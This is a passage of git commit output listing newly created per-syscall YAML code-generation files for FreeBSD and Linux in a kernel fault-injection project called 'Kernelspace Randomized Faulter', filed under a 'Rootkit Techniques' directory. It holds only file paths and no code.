create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchflags.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchmod.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchown.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lgetfh.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/link.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/linkat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lio_listio.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/listen.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lpathconf.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lseek.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lutimes.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/madvise.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mincore.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/minherit.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdir.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdirat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifo.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifoat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mknodat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlock.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlockall.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mmap.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modfind.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modstat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mount.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mprotect.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgget.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgrcv.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgsnd.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msync.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlock.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlockall.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munmap.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nanosleep.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nfssvc.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nmount.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/open.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/openat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pathconf.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdfork.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdgetpid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdkill.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pipe2.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/poll.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fadvise.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fallocate.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_openpt.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ppoll.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pread.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/preadv.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/procctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/profil.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pselect.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ptrace.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwrite.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwritev.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/quotactl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_add_rule.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_limits.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_racct.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_rules.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_remove_rule.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/read.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlink.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlinkat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readv.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/reboot.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvfrom.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvmsg.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rename.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/renameat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/revoke.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rfork.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rmdir.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio_thread.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sbrk.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_max.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_min.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getparam.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getscheduler.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_rr_get_interval.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setparam.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setscheduler.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_yield.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/select.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semget.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semop.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendfile.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendmsg.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendto.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setegid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/seteuid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setfib.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgroups.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setitimer.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setlogin.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setloginclass.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpgid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpriority.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setregid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresgid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresuid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setreuid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsockopt.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/settimeofday.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setuid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_open.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_unlink.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmdt.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmget.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shutdown.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaction.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaltstack.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigpending.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigprocmask.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigqueue.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigreturn.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigsuspend.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigtimedwait.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwait.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwaitinfo.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socket.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socketpair.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/statfs.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapoff.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapon.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlink.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlinkat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/thr_new.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/truncate.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/undelete.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlink.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlinkat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unmount.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimensat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimes.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utrace.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/uuidgen.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait4.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait6.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/write.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/writev.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/accept.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/access.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/adjtimex.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/bind.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/brk.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chdir.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chmod.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chown.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chroot.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_adjtime.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_getres.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_gettime.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_nanosleep.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_settime.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clone.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/close.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/codegen create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/connect.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/creat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup2.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/faccessat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchdir.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmod.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmodat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchown.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchownat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fcntl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fdatasync.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/flock.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fork.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstatfs.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fsync.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ftruncate.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcpu.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcwd.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpeername.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpgid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpriority.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresgid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresuid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockname.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockopt.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/gettimeofday.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioperm.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/kill.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lchown.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/link.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/linkat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/listen.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lstat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/madvise.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mincore.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mkdir.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknod.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknodat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock2.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlockall.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mmap_pgoff.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mount.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mprotect.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_getsetattr.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_notify.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_open.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedreceive.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedsend.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_unlink.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mremap.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgget.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgrcv.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgsnd.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msync.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlock.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlockall.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munmap.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/newfstatat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/open.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/openat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pipe.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pivot_root.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/prctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pread64.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/preadv.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwrite64.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwritev.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/read.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readahead.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlink.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlinkat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readv.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/reboot.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvfrom.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvmsg.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rename.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat2.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rmdir.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigaction.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigpending.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigprocmask.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigqueueinfo.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigsuspend.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigtimedwait.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_max.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_min.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getaffinity.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getattr.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getparam.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getscheduler.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_rr_get_interval.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setaffinity.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setattr.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setparam.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setscheduler.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/select.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semget.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semop.yml create mode 100644 Linux/Rootkit 